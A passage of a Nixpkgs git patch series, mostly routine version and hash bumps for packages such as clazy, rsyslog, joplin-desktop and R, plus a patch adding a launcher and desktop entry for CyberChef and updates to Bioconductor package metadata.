changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/du/dump/package.nix b/pkgs/by-name/du/dump/package.nix index 18b71518ba41..ff3ae10761a1 100644 --- a/pkgs/by-name/du/dump/package.nix +++ b/pkgs/by-name/du/dump/package.nix @@ -13,11 +13,11 @@ stdenv.mkDerivation rec { pname = "dump"; - version = "0.4b48"; + version = "0.4b51"; src = fetchurl { url = "mirror://sourceforge/dump/dump-${version}.tar.gz"; - sha256 = "sha256-qT6WPMIMXUfq2dedK0OeDV12gV7ewlFpEVUckOYOxRk="; + sha256 = "sha256-huaDpzNVNMkVzwpQUlPay/RrYiSnD79or3RgsWPkU+s="; }; nativeBuildInputs = [ pkg-config ]; From 092bbe66311bb94574c38506ca964c4b28280205 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Thu, 12 Jun 2025 23:43:49 +0000 Subject: [PATCH 026/390] clazy: 1.14 -> 1.15 --- pkgs/development/tools/analysis/clazy/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/tools/analysis/clazy/default.nix b/pkgs/development/tools/analysis/clazy/default.nix index cf1997015ec4..5033f56d18f1 100644 --- a/pkgs/development/tools/analysis/clazy/default.nix +++ b/pkgs/development/tools/analysis/clazy/default.nix @@ -11,13 +11,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "clazy"; - version = "1.14"; + version = "1.15"; src = fetchFromGitHub { owner = "KDE"; repo = "clazy"; tag = finalAttrs.version; - hash = "sha256-t1j/MrKD8ocmhbFtWz6BJUbPSCSWjlRmuYnsPhHWgAM="; + hash = "sha256-i/tqH2RHU+LwvMFI8ft92j0i04mQxLVIyrGXlqzMGWs="; }; buildInputs = [ From 0eb9898ae9dad488089e30ecb8a862eeca911aa4 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Fri, 13 Jun 2025 00:31:26 +0000 Subject: [PATCH 027/390] libaec: 1.1.3 -> 1.1.4 --- pkgs/by-name/li/libaec/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/li/libaec/package.nix b/pkgs/by-name/li/libaec/package.nix index e323b420b980..6814da5a5ea8 100644 --- a/pkgs/by-name/li/libaec/package.nix +++ b/pkgs/by-name/li/libaec/package.nix @@ -7,14 +7,14 @@ stdenv.mkDerivation rec { pname = "libaec"; - version = "1.1.3"; + version = "1.1.4"; src = fetchFromGitLab { domain = "gitlab.dkrz.de"; owner = "k202009"; repo = "libaec"; rev = "v${version}"; - sha256 = "sha256-4WS3l79v9CTFBLuJmNMMK7RRNPLSa5KYID3W4aGMTuE="; + sha256 = "sha256-MJFx0gErfrSK6EeeGDk8CQWj6j4PVvFPJEI/iys3bI8="; }; nativeBuildInputs = [ From 8730e6e680f56e114814db69340315ecc9de31a3 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Fri, 13 Jun 2025 00:33:10 +0000 Subject: [PATCH 028/390] fldigi: 4.2.06 -> 4.2.07 --- pkgs/applications/radio/fldigi/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/applications/radio/fldigi/default.nix b/pkgs/applications/radio/fldigi/default.nix index c759b83b546b..6764bed6e72c 100644 --- a/pkgs/applications/radio/fldigi/default.nix +++ b/pkgs/applications/radio/fldigi/default.nix @@ -19,11 +19,11 @@ stdenv.mkDerivation rec { pname = "fldigi"; - version = "4.2.06"; + version = "4.2.07"; src = fetchurl { url = "mirror://sourceforge/${pname}/${pname}-${version}.tar.gz"; - hash = "sha256-Q2DeIl1vjP65u2pb5qxJLlJwLI9wT4dgnEUtO8sbbAg="; + hash = "sha256-9KpTh0fBqiVC901R1PdH2SEya32Ijl+jkxSSpFuhs6o="; }; nativeBuildInputs = [ pkg-config ]; From 5bb50bf085c02e4ee1e728ce6a3e2ae92887f0d3 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Fri, 13 Jun 2025 00:34:47 +0000 Subject: [PATCH 029/390] python3Packages.openturns: 1.24 -> 1.25 --- pkgs/by-name/op/openturns/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/op/openturns/package.nix b/pkgs/by-name/op/openturns/package.nix index c93d0ba40100..2d19f3859f79 100644 --- a/pkgs/by-name/op/openturns/package.nix +++ b/pkgs/by-name/op/openturns/package.nix @@ -25,13 +25,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "openturns"; - version = "1.24"; + version = "1.25"; src = fetchFromGitHub { owner = "openturns"; repo = "openturns"; rev = "v${finalAttrs.version}"; - hash = "sha256-88wxgifLuF/P/qeMLVP0S5Agutf022Dsysu38mh9+8w="; + hash = "sha256-lAFfOwriDdYvfRK/5vEQ/v97o3l/aH8jPHCVf9vlfV4="; }; nativeBuildInputs = [ From 8f235432823d3b7e538a08294871f410e8002c6b Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Fri, 13 Jun 2025 00:37:45 +0000 Subject: [PATCH 030/390] cifs-utils: 7.3 -> 7.4 --- pkgs/by-name/ci/cifs-utils/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/ci/cifs-utils/package.nix b/pkgs/by-name/ci/cifs-utils/package.nix index 40dd41d46524..c836ea5f80f1 100644 --- a/pkgs/by-name/ci/cifs-utils/package.nix +++ b/pkgs/by-name/ci/cifs-utils/package.nix @@ -16,11 +16,11 @@ stdenv.mkDerivation rec { pname = "cifs-utils"; - version = "7.3"; + version = "7.4"; src = fetchurl { url = "https://download.samba.org/pub/linux-cifs/cifs-utils/${pname}-${version}.tar.bz2"; - sha256 = "sha256-xOHrX0rYgNluFtlaHNvH7JeKtRxbbYogrgnaxjjzbdU="; + sha256 = "sha256-UzU9BcMLT8nawAao8MUFTN2KGDTBdjE8keRpQCXEuJE="; }; nativeBuildInputs = [ From 857ef33a2b6cd540d263af960c18c1ea2421c254 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Fri, 13 Jun 2025 01:09:53 +0000 Subject: [PATCH 031/390] rsyslog: 8.2504.0 -> 8.2506.0 --- pkgs/tools/system/rsyslog/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/tools/system/rsyslog/default.nix b/pkgs/tools/system/rsyslog/default.nix index 67c8216873c7..981d68a5153f 100644 --- a/pkgs/tools/system/rsyslog/default.nix +++ b/pkgs/tools/system/rsyslog/default.nix @@ -62,11 +62,11 @@ stdenv.mkDerivation rec { pname = "rsyslog"; - version = "8.2504.0"; + version = "8.2506.0"; src = fetchurl { url = "https://www.rsyslog.com/files/download/rsyslog/${pname}-${version}.tar.gz"; - hash = "sha256-UJKiDtQJh8dMxgTr/NbHSeR+ufw0rcHCY35lU+fwR6s="; + hash = "sha256-bW/QJXyV51Z2XU1YWoM9VN06Dl7rgwi4YqgbNop0u3s="; }; nativeBuildInputs = [ From 0c3e0f861782e61ab4cd959718918ed32475e2bf Mon Sep 17 00:00:00 2001 From: Alden Parker Date: Thu, 12 Jun 2025 20:43:02 -0700 Subject: [PATCH 032/390] cyberchef: Add binary and desktop item --- pkgs/by-name/cy/cyberchef/package.nix | 44 ++++++++++++++++++++++++--- 1 file changed, 40 insertions(+), 4 deletions(-) diff --git a/pkgs/by-name/cy/cyberchef/package.nix b/pkgs/by-name/cy/cyberchef/package.nix index a1655acfed86..bed595354e9e 100644 --- a/pkgs/by-name/cy/cyberchef/package.nix +++ b/pkgs/by-name/cy/cyberchef/package.nix @@ -1,30 +1,66 @@ { lib, fetchzip, + fetchurl, stdenv, + makeDesktopItem, }: -stdenv.mkDerivation rec { - pname = "cyberchef"; +let + icon = fetchurl { + url = "https://raw.githubusercontent.com/gchq/CyberChef/c57556f49f723863b9be15668fd240672cd15b09/src/web/static/images/cyberchef-512x512.png"; + hash = "sha256-Lg9JbVHhdILdrRtxYFWSv9HNJUx98JOaTbs+IbS1eO0="; + }; + desktopItem = ( + makeDesktopItem { + name = "cyberchef"; + desktopName = "Cyberchef"; + exec = "cyberchef"; + icon = "cyberchef"; + comment = "Cyber Swiss Army Knife for encryption, encoding, compression and data analysis"; + categories = [ "Development" ]; + } + ); version = "10.19.4"; +in +stdenv.mkDerivation { + pname = "cyberchef"; + inherit version; src = fetchzip { url = "https://github.com/gchq/CyberChef/releases/download/v${version}/CyberChef_v${version}.zip"; - sha256 = "sha256-eOMo7kdxC5HfmMrKUhGZU3vnBXibO2Fz1ftIS9RAbjY="; + hash = "sha256-eOMo7kdxC5HfmMrKUhGZU3vnBXibO2Fz1ftIS9RAbjY="; stripRoot = false; }; installPhase = '' mkdir -p "$out/share/cyberchef" + mkdir -p "$out/bin" + mv "CyberChef_v${version}.html" index.html mv * "$out/share/cyberchef" + + cat < $out/bin/cyberchef + #!/bin/sh + xdg-open $out/share/cyberchef/index.html + INI + + chmod +x $out/bin/cyberchef + + install -m 444 -D ${icon} $out/share/icons/hicolor/512x512/apps/cyberchef.png + + mkdir -p $out/share/applications/ + cp ${desktopItem}/share/applications/*.desktop $out/share/applications/ ''; meta = { description = "Cyber Swiss Army Knife for encryption, encoding, compression and data analysis"; homepage = "https://gchq.github.io/CyberChef"; changelog = "https://github.com/gchq/CyberChef/blob/v${version}/CHANGELOG.md"; - maintainers = with lib.maintainers; [ sebastianblunt ]; + maintainers = with lib.maintainers; [ + sebastianblunt + aldenparker + ]; license = lib.licenses.asl20; platforms = lib.platforms.all; }; From 163651bc2cd7b22b7124f11922b4877085e6d62f Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sat, 14 Jun 2025 08:16:50 +0000 Subject: [PATCH 033/390] nerdfetch: 8.3.1 -> 8.4.0 --- pkgs/by-name/ne/nerdfetch/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/ne/nerdfetch/package.nix b/pkgs/by-name/ne/nerdfetch/package.nix index 276a1d9eacd5..b0ba6d8a74f2 100644 --- a/pkgs/by-name/ne/nerdfetch/package.nix +++ b/pkgs/by-name/ne/nerdfetch/package.nix @@ -6,13 +6,13 @@ }: stdenvNoCC.mkDerivation (finalAttrs: { pname = "nerdfetch"; - version = "8.3.1"; + version = "8.4.0"; src = fetchFromGitHub { owner = "ThatOneCalculator"; repo = "NerdFetch"; rev = "v${finalAttrs.version}"; - hash = "sha256-Ptd699Q2kX+04TGnChQK45dBf0W1QUFk7vHpRl3kFKo="; + hash = "sha256-KMu/cMjRFEyfRxoKDGn4PfubGCrotVsKQ9wwc1wQaVM="; }; dontUnpack = true; From 496bf34cca104dc6c1fe2eb5b1315ec547fac41b Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sat, 14 Jun 2025 13:44:34 +0000 Subject: [PATCH 034/390] joplin-desktop: 3.3.12 -> 3.3.13 --- pkgs/by-name/jo/joplin-desktop/release-data.json | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/pkgs/by-name/jo/joplin-desktop/release-data.json b/pkgs/by-name/jo/joplin-desktop/release-data.json index 049fb75f0ce8..748c3518da51 100644 --- a/pkgs/by-name/jo/joplin-desktop/release-data.json +++ b/pkgs/by-name/jo/joplin-desktop/release-data.json @@ -1,15 +1,15 @@ { - "version": "3.3.12", + "version": "3.3.13", "x86_64-linux": { - "url": "https://github.com/laurent22/joplin/releases/download/v3.3.12/Joplin-3.3.12.AppImage", - "sha256": "1fjrblmlpm6sf4jdvifmyxic0rw2bs1f4sbw3nz4xy7wlsab5f62" + "url": "https://github.com/laurent22/joplin/releases/download/v3.3.13/Joplin-3.3.13.AppImage", + "sha256": "1gd5qlkjwrx8kxx5d97r58v5wxw4zbzjblr24ydjqbbfhjrr1zr2" }, "x86_64-darwin": { - "url": "https://github.com/laurent22/joplin/releases/download/v3.3.12/Joplin-3.3.12.dmg", - "sha256": "0rk5jl7i7sj31336r8yn8wf9h4xwdwi66wvwrkblvxrfhgddn2gj" + "url": "https://github.com/laurent22/joplin/releases/download/v3.3.13/Joplin-3.3.13.dmg", + "sha256": "05v5idqnajlya83ax252xs6d1nc0p6679aihij35b885nqiql6f5" }, "aarch64-darwin": { - "url": "https://github.com/laurent22/joplin/releases/download/v3.3.12/Joplin-3.3.12-arm64.dmg", - "sha256": "13m4nypg1v5d7i13has9f1sp08dijc44962dr75b9jfiq8q6ciz6" + "url": "https://github.com/laurent22/joplin/releases/download/v3.3.13/Joplin-3.3.13-arm64.dmg", + "sha256": "1bafq33n0qdw4hxbq3mp2499zpzz0kc4gqh9cdp650994kmq8207" } } From 181c75a93a78cac7c77873ee56181e5b692395a6 Mon Sep 17 00:00:00 2001 From: Justin Bedo Date: Sun, 15 Jun 2025 10:33:42 +1000 Subject: [PATCH 035/390] R: 4.5.0 -> 4.5.1 --- pkgs/applications/science/math/R/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/applications/science/math/R/default.nix b/pkgs/applications/science/math/R/default.nix index 9ec5c5490e62..0aeae564fcaa 100644 --- a/pkgs/applications/science/math/R/default.nix +++ b/pkgs/applications/science/math/R/default.nix @@ -47,7 +47,7 @@ assert (!blas.isILP64) && (!lapack.isILP64); stdenv.mkDerivation (finalAttrs: { pname = "R"; - version = "4.5.0"; + version = "4.5.1"; src = let @@ -55,7 +55,7 @@ stdenv.mkDerivation (finalAttrs: { in fetchurl { url = "https://cran.r-project.org/src/base/R-${lib.versions.major version}/${pname}-${version}.tar.gz"; - sha256 = "sha256-OzPqET4NHdyXk4dNWUnOwsc4b2bkq/sc75rsIoRsPOE="; + hash = "sha256-tCp5IUADhmRbEBBbkcaHKHh9tcTIPJ9sMKzc5jLhu3A="; }; outputs = [ From 2e555c459212c94760d7aba61486a3ad2981ff18 Mon Sep 17 00:00:00 2001 From: Justin Bedo Date: Sun, 15 Jun 2025 11:25:20 +1000 Subject: [PATCH 036/390] rPackages: CRAN and BioC update --- .../r-modules/bioc-annotation-packages.json | 4 +- .../r-modules/bioc-experiment-packages.json | 21 +- pkgs/development/r-modules/bioc-packages.json | 232 +- pkgs/development/r-modules/cran-packages.json | 7408 ++++++++++------- 4 files changed, 4407 insertions(+), 3258 deletions(-) diff --git a/pkgs/development/r-modules/bioc-annotation-packages.json b/pkgs/development/r-modules/bioc-annotation-packages.json index 259c5bd2ab11..204cfb3dd99a 100644 --- a/pkgs/development/r-modules/bioc-annotation-packages.json +++ b/pkgs/development/r-modules/bioc-annotation-packages.json @@ -1043,8 +1043,8 @@ }, "IlluminaHumanMethylationMSAmanifest": { "name": "IlluminaHumanMethylationMSAmanifest", - "version": "0.1.0", - "sha256": "01q7i5a2zc9pby9ivsqq8pdp80732akq4g8d594h9dn6qgm0znz3", + "version": "0.1.1", + "sha256": "1ksw8nr4ghvih4imc9bj7xm1wvnw5wg4mhzw8mcvdvw3bjz4ly64", "depends": ["minfi"] }, "JASPAR2018": { diff --git a/pkgs/development/r-modules/bioc-experiment-packages.json b/pkgs/development/r-modules/bioc-experiment-packages.json index 40afccca6eb1..d7c990fb86e3 100644 --- a/pkgs/development/r-modules/bioc-experiment-packages.json +++ b/pkgs/development/r-modules/bioc-experiment-packages.json @@ -555,6 +555,12 @@ "sha256": "0rmp259r5n0dqf8zn9wwfqlcbdan1qs3ni0f4izv4nj3mym435y9", "depends": ["ExperimentHub", "S4Vectors", "SummarizedExperiment"] }, + "Hiiragi2013": { + "name": "Hiiragi2013", + "version": "1.44.2", + "sha256": "0kl423kr19ai4kz7a5dv3d0swgzp3911pgxyp8qf8kgy952a1rr1", + "depends": ["Biobase", "KEGGREST", "MASS", "RColorBrewer", "affy", "boot", "clue", "cluster", "genefilter", "geneplotter", "gplots", "gtools", "lattice", "latticeExtra", "mouse4302_db", "xtable"] + }, "HumanAffyData": { "name": "HumanAffyData", "version": "1.34.0", @@ -905,8 +911,8 @@ }, "ProteinGymR": { "name": "ProteinGymR", - "version": "1.2.0", - "sha256": "0li7kra2p2hg77x2jsy96dz0q052lf05kr9y4v3r35p62rzhnc35", + "version": "1.2.1", + "sha256": "1xwva9gnfldgx2bw62zwz3wlc84k4jlnybq81nr0xqa6xdr9fycl", "depends": ["AnnotationHub", "ComplexHeatmap", "ExperimentHub", "bio3d", "circlize", "dplyr", "forcats", "ggExtra", "ggdist", "gghalves", "ggplot2", "htmltools", "lifecycle", "pals", "purrr", "queryup", "r3dmol", "rlang", "spdl", "stringr", "tidyr", "tidyselect"] }, "PtH2O2lipids": { @@ -2471,8 +2477,8 @@ }, "systemPipeRdata": { "name": "systemPipeRdata", - "version": "2.12.0", - "sha256": "04xxwdcznxdhxhmn73b9njj0mrd5bn3bwznnx5wf3p5qkfdckl9g", + "version": "2.12.2", + "sha256": "12vxhm096gwy026gnh1ql1749gpxdsch70x3bc2a2pcnc74kk2hf", "depends": ["BiocGenerics", "Biostrings", "jsonlite", "remotes"] }, "tartare": { @@ -2632,13 +2638,6 @@ "depends": ["AnnotationDbi", "Biobase", "GGBase", "illuminaHumanv1_db", "snpStats"], "broken": true }, - "Hiiragi2013": { - "name": "Hiiragi2013", - "version": "1.41.0", - "sha256": "0z8ns2qsnng3kvzcris3hxggy1jmzrl8jwy0ndf6sbn1cqj1pnkl", - "depends": ["Biobase", "KEGGREST", "MASS", "RColorBrewer", "affy", "boot", "clue", "cluster", "genefilter", "geneplotter", "gplots", "gtools", "lattice", "latticeExtra", "mouse4302_db", "xtable"], - "broken": true - }, "MAQCsubsetAFX": { "name": "MAQCsubsetAFX", "version": "1.8.0", diff --git a/pkgs/development/r-modules/bioc-packages.json b/pkgs/development/r-modules/bioc-packages.json index 1b94b10b4c91..498b69161211 100644 --- a/pkgs/development/r-modules/bioc-packages.json +++ b/pkgs/development/r-modules/bioc-packages.json @@ -95,8 +95,8 @@ }, "ANCOMBC": { "name": "ANCOMBC", - "version": "2.10.0", - "sha256": "00ywqww9vhsxsx2y4ji8k3b9202f187a54nkafl6wa10yqqnvqcq", + "version": "2.10.1", + "sha256": "16cfr7q1ivksmajrfx5gv75z83aza443lw11as2nf8pbsfjwfgrf", "depends": ["CVXR", "DescTools", "Hmisc", "MASS", "Matrix", "Rdpack", "doParallel", "doRNG", "energy", "foreach", "gtools", "lme4", "lmerTest", "multcomp", "nloptr"] }, "ANF": { @@ -239,8 +239,8 @@ }, "AnVIL": { "name": "AnVIL", - "version": "1.20.0", - "sha256": "1rwfp8hw7dziqlg3fj93kgdm96xirba0sv5cvjhfnnwx09ghpsmy", + "version": "1.20.1", + "sha256": "0sy545m0bp76kf34cwm06bfhagf4pcn3bb7d7xsyvnm7zb8p8kzl", "depends": ["AnVILBase", "BiocBaseUtils", "DT", "dplyr", "futile_logger", "htmltools", "httr", "jsonlite", "miniUI", "rapiclient", "rlang", "shiny", "tibble", "tidyr", "tidyselect", "yaml"] }, "AnVILAz": { @@ -323,8 +323,8 @@ }, "ArrayExpress": { "name": "ArrayExpress", - "version": "1.67.1", - "sha256": "1cnlr2xnah4cw66xn5ww3ci1flfhrwwd0k3z5l1fbh8h9msnbr3w", + "version": "1.68.0", + "sha256": "0wiaczf6qvi5qaidjp7hlfh5d054dswalgwrf9a4xd6407nx6nj5", "depends": ["Biobase", "httr", "jsonlite", "limma", "oligo", "rlang"] }, "AssessORF": { @@ -527,8 +527,8 @@ }, "BayesSpace": { "name": "BayesSpace", - "version": "1.17.0", - "sha256": "1ybf17zggvl7s1k6bgxskyna42fylnggv4wy7xvkglnfmv8rz5lp", + "version": "1.18.1", + "sha256": "0br1mkb32317v3svs4gc4rninhfw6wj55gamhxbflzykn2x7kxgc", "depends": ["BiocFileCache", "BiocParallel", "BiocSingular", "DirichletReg", "Matrix", "RCurl", "Rcpp", "RcppArmadillo", "RcppDist", "RcppProgress", "S4Vectors", "SingleCellExperiment", "SummarizedExperiment", "arrow", "assertthat", "coda", "dplyr", "ggplot2", "magrittr", "mclust", "microbenchmark", "purrr", "rhdf5", "rjson", "rlang", "scales", "scater", "scran", "tibble", "tidyr", "xgboost"] }, "BeadDataPackR": { @@ -559,7 +559,7 @@ "name": "BiGGR", "version": "1.44.0", "sha256": "1awdwwg54cfnsn8kp0lw6a7c3mgix024ry7mxn9vb5xq4hp1gflb", - "depends": ["LIM", "hyperdraw", "hypergraph", "limSolve", "rsbml", "stringr"] + "depends": ["hyperdraw", "hypergraph", "limSolve", "rsbml", "stringr"] }, "BiRewire": { "name": "BiRewire", @@ -689,8 +689,8 @@ }, "BiocHubsShiny": { "name": "BiocHubsShiny", - "version": "1.8.0", - "sha256": "0vwmq3vci10l7ypih3mixns57c0nplnqw95blsmbnjv095nqlpqi", + "version": "1.8.1", + "sha256": "12ihq8c0byrf6xiqbbmlzv79sq4xy7sjw06v3apn08gvypl0ifys", "depends": ["AnnotationHub", "DT", "ExperimentHub", "S4Vectors", "htmlwidgets", "rclipboard", "shiny", "shinyAce", "shinyjs", "shinythemes", "shinytoastr"] }, "BiocIO": { @@ -707,8 +707,8 @@ }, "BiocParallel": { "name": "BiocParallel", - "version": "1.42.0", - "sha256": "0f9jvx1z1qxa3z17x1a3jgf8rfcslqqk24absw9iw9hfs3b84z5d", + "version": "1.42.1", + "sha256": "0dandzqfalf3d1w99yajiahrg4c1xjr8gmw11bhaacr6rvgbbdxg", "depends": ["BH", "codetools", "cpp11", "futile_logger", "snow"] }, "BiocPkgTools": { @@ -803,9 +803,9 @@ }, "BulkSignalR": { "name": "BulkSignalR", - "version": "1.0.0", - "sha256": "10fr2p5vpzvbydydvjskrymij6s8g1lwp2g0yvvlvzhpjabdkmn6", - "depends": ["BiocFileCache", "ComplexHeatmap", "DBI", "RANN", "RSQLite", "Rtsne", "SpatialExperiment", "SummarizedExperiment", "circlize", "cli", "curl", "doParallel", "dplyr", "foreach", "ggalluvial", "ggplot2", "ggrepel", "glmnet", "gridExtra", "httr", "igraph", "jsonlite", "matrixStats", "multtest", "orthogene", "rlang", "scales", "stabledist"] + "version": "1.0.2", + "sha256": "0dhnx48ff0kspy6dbi6cpr5wc8pwx23r3bbai6pjrfcmh54qnpz0", + "depends": ["BiocFileCache", "ComplexHeatmap", "DBI", "RANN", "RCurl", "RSQLite", "Rtsne", "SpatialExperiment", "SummarizedExperiment", "circlize", "cli", "curl", "doParallel", "dplyr", "foreach", "ggalluvial", "ggplot2", "ggrepel", "glmnet", "gridExtra", "httr", "igraph", "jsonlite", "matrixStats", "multtest", "orthogene", "rlang", "scales", "stabledist"] }, "BumpyMatrix": { "name": "BumpyMatrix", @@ -1025,8 +1025,8 @@ }, "CNVfilteR": { "name": "CNVfilteR", - "version": "1.21.0", - "sha256": "1jcdqcz83q3c5c78qm2jf7kgm7hrrjfb45byryfp5jazv7rkfkz9", + "version": "1.22.0", + "sha256": "1bfv1mrxa4jvzg6q8circwvdlllsc8pg5a9lq69p3l0wid10c8d5", "depends": ["Biostrings", "CopyNumberPlots", "GenomeInfoDb", "GenomicRanges", "IRanges", "Rsamtools", "SummarizedExperiment", "VariantAnnotation", "assertthat", "karyoploteR", "pracma", "regioneR"] }, "CNViz": { @@ -1079,9 +1079,9 @@ }, "COTAN": { "name": "COTAN", - "version": "2.8.1", - "sha256": "1alb8kaca7lq6h5iia09933ccl6px4fdjl0m71spgfvrg1a16ab7", - "depends": ["BiocSingular", "ComplexHeatmap", "Matrix", "RColorBrewer", "Rfast", "S4Vectors", "Seurat", "SingleCellExperiment", "SummarizedExperiment", "assertthat", "circlize", "dendextend", "dplyr", "ggplot2", "ggrepel", "ggthemes", "parallelDist", "parallelly", "plyr", "rlang", "scales", "stringr", "tibble", "tidyr", "umap", "withr", "zeallot"] + "version": "2.8.2", + "sha256": "0jp7npxiarr1q2ad8v49dndlqj0yswl5x3qrdn5vx39qflnqm1hn", + "depends": ["BiocSingular", "ComplexHeatmap", "Matrix", "RColorBrewer", "Rfast", "S4Vectors", "Seurat", "SingleCellExperiment", "SummarizedExperiment", "assertthat", "circlize", "dendextend", "dplyr", "gghalves", "ggplot2", "ggrepel", "ggthemes", "parallelDist", "parallelly", "proxy", "rlang", "scales", "stringr", "tibble", "tidyr", "withr", "zeallot"] }, "CPSM": { "name": "CPSM", @@ -1355,8 +1355,8 @@ }, "ClassifyR": { "name": "ClassifyR", - "version": "3.12.0", - "sha256": "1v3df03k0wpq38mvzj77mv8pprsnrg5750h8prfyy1rhdpkg33f1", + "version": "3.12.2", + "sha256": "19mw8s260f794qyfhpwzha3bp7bmc00rx2p04j4qjv77s03mcsv0", "depends": ["BiocParallel", "MultiAssayExperiment", "S4Vectors", "broom", "dcanr", "dplyr", "genefilter", "generics", "ggplot2", "ggpubr", "ggupset", "ranger", "reshape2", "rlang", "survival", "tidyr"] }, "CleanUpRNAseq": { @@ -1445,8 +1445,8 @@ }, "CompoundDb": { "name": "CompoundDb", - "version": "1.12.0", - "sha256": "0r14ni8qqymw83dchz9xhp2hy8bmrz0n9xlsmwlgqpsrjpv1khjw", + "version": "1.12.1", + "sha256": "1n4ir5hr4clzj6qwxa9aa95msly2hdhcymnjyly81hw9vjbrv461", "depends": ["AnnotationFilter", "Biobase", "BiocGenerics", "BiocParallel", "ChemmineR", "DBI", "IRanges", "MetaboCoreUtils", "MsCoreUtils", "ProtGenerics", "RSQLite", "S4Vectors", "Spectra", "dbplyr", "dplyr", "jsonlite", "stringi", "tibble", "xml2"] }, "ConsensusClusterPlus": { @@ -1457,8 +1457,8 @@ }, "CopyNumberPlots": { "name": "CopyNumberPlots", - "version": "1.23.0", - "sha256": "09d9njacl5f363r397xb7k4596c7zj11lywh36m2vrvg88vy057c", + "version": "1.24.0", + "sha256": "1avcq4qjgwa9g2f3izvay5cj8vzm7gqp7ivfvmw02k9515bw7zs1", "depends": ["GenomeInfoDb", "GenomicRanges", "IRanges", "Rsamtools", "SummarizedExperiment", "VariantAnnotation", "cn_mops", "karyoploteR", "regioneR", "rhdf5"] }, "CoreGx": { @@ -2183,9 +2183,9 @@ }, "FRASER": { "name": "FRASER", - "version": "2.4.1", - "sha256": "1x5lgjbxcr1vq22i29y6lczl3dmdpa5qqlygk7rnbvbv09199srh", - "depends": ["AnnotationDbi", "BBmisc", "BSgenome", "Biobase", "BiocGenerics", "BiocParallel", "DelayedArray", "DelayedMatrixStats", "GenomeInfoDb", "GenomicAlignments", "GenomicFeatures", "GenomicRanges", "HDF5Array", "IRanges", "OUTRIDER", "PRROC", "RColorBrewer", "R_utils", "Rcpp", "RcppArmadillo", "Rsamtools", "Rsubread", "S4Vectors", "SummarizedExperiment", "VGAM", "biomaRt", "cowplot", "data_table", "extraDistr", "generics", "ggplot2", "ggrepel", "matrixStats", "pcaMethods", "pheatmap", "plotly", "rhdf5", "tibble"] + "version": "2.4.3", + "sha256": "0w7bgfmr72whwnh5nv3bcrk8b4316vds2sgf50qwpcb1v03n066n", + "depends": ["AnnotationDbi", "BBmisc", "BSgenome", "Biobase", "BiocGenerics", "BiocParallel", "DelayedArray", "DelayedMatrixStats", "GenomeInfoDb", "GenomicAlignments", "GenomicFeatures", "GenomicRanges", "HDF5Array", "IRanges", "OUTRIDER", "PRROC", "RColorBrewer", "RMTstat", "R_utils", "Rcpp", "RcppArmadillo", "Rsamtools", "Rsubread", "S4Vectors", "SummarizedExperiment", "VGAM", "biomaRt", "cowplot", "data_table", "extraDistr", "generics", "ggplot2", "ggrepel", "matrixStats", "pcaMethods", "pheatmap", "plotly", "pracma", "rhdf5", "tibble"] }, "FRGEpistasis": { "name": "FRGEpistasis", @@ -2645,8 +2645,8 @@ }, "GenomicDataCommons": { "name": "GenomicDataCommons", - "version": "1.32.0", - "sha256": "07mpgsyi9gdb2jhkrdsxv09l1sncv214avpp68isdddk1mipk1w4", + "version": "1.32.1", + "sha256": "186z5mph396yj7wv0a5whcxdw3p9mqsyhl7r1wqdcdgvvfx72mys", "depends": ["GenomicRanges", "IRanges", "dplyr", "httr", "jsonlite", "rappdirs", "readr", "rlang", "tibble", "tidyr", "xml2"] }, "GenomicDistributions": { @@ -2861,8 +2861,8 @@ }, "HPAanalyze": { "name": "HPAanalyze", - "version": "1.26.0", - "sha256": "1jr0q37q3jrz7cii033g0fh0jm8b4r5mxys9s13gb528aw6n5zg5", + "version": "1.26.1", + "sha256": "0lsrk41g8hfpk4jrm6wyl41wlk5pkiy5vr5gcn3zdqn7zg133v28", "depends": ["dplyr", "ggplot2", "gridExtra", "openxlsx", "tibble", "xml2"] }, "HPiP": { @@ -2999,8 +2999,8 @@ }, "HilbertVisGUI": { "name": "HilbertVisGUI", - "version": "1.65.0", - "sha256": "0sfc3k9mgpgn262cm6dv6c48dd1yvr6k7dm3skdmbqagnnaqll16", + "version": "1.66.1", + "sha256": "0pavdk7szz82vzplw5pk4zch6sq89s6xvzy2q6aq8i1mf6bb3f4i", "depends": ["HilbertVis"] }, "HoloFoodR": { @@ -3215,8 +3215,8 @@ }, "IsoBayes": { "name": "IsoBayes", - "version": "1.6.0", - "sha256": "1v4cjxwmq0qn7fa6wgzm7hizmk1cmd26wivdmyqshqlk31khbbk7", + "version": "1.6.1", + "sha256": "18z7jqz342hkxma3l6wmxjl0wqzg5s3c5602slqdb0asa7xf372f", "depends": ["HDInterval", "Rcpp", "RcppArmadillo", "S4Vectors", "SummarizedExperiment", "data_table", "doParallel", "doRNG", "foreach", "ggplot2", "glue", "iterators"] }, "IsoCorrectoR": { @@ -3317,8 +3317,8 @@ }, "LRBaseDbi": { "name": "LRBaseDbi", - "version": "2.17.0", - "sha256": "0lip3bfij0gzqmsnvzvw6nnpw7jv5qlvvvnm58wf4q7nxywabq7w", + "version": "2.18.1", + "sha256": "1wpa7vw9in3whya5b6p6pd3ninrg405wymh8lfrz15djc73cfg7a", "depends": ["AnnotationDbi", 